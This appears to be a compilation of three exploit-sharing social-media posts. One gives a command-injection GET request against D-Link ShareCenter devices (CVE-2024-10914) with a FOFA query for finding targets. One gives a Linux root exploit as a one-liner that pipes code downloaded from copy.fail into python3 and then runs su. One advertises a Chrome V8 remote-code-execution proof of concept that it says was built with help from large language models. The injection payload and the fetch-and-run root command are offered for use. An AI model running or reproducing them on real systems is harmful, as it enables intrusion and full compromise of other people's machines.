cve-2024-10914

GET

/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27

FOFA：app =D_Link-DNS-ShareCenter

#exploit #poc #IoT

Hey Hunter's,
DarkShadow is here back again!


🚨History Breaking exploit😳

CVE-2026-31431 (nickname: copy fail)

A Linux Privilege Escalation in all the major OS, hidden in the kernel for 9 years and discovered by an Ai !!!

Exploit code:

curl copy.fail/exp | python3 && su

Guys, AI is going to be very dangerous😨

Don't forget to follow me x.com/darkshadow2bd

#exploit #bugbountytips #linux

🔥 Chrome RCE PoC: CVE-2026-6307

A working renderer RCE Proof of Concept for CVE-2026-6307 — a V8 type-confusion bug (JS-to-Wasm deoptimization) patched in Chrome 147.0.7727.101.

✅ Full primitives (addrof/fakeobj, out-of-cage, in-cage r/w)
✅ No-ASLR RCE that patches JIT code to pop xcalc
✅ Based on Nebula Security writeup
✅ Heavily improved with frontier LLMs + human direction (4-day experiment)

This is renderer-only and still far from fully weaponized, but great for learning and research.

📥 PoC + scripts:
https://github.com/0xsha/CVE-2026-6307

#Chrome #V8 #Exploit #CVE #SecurityResearch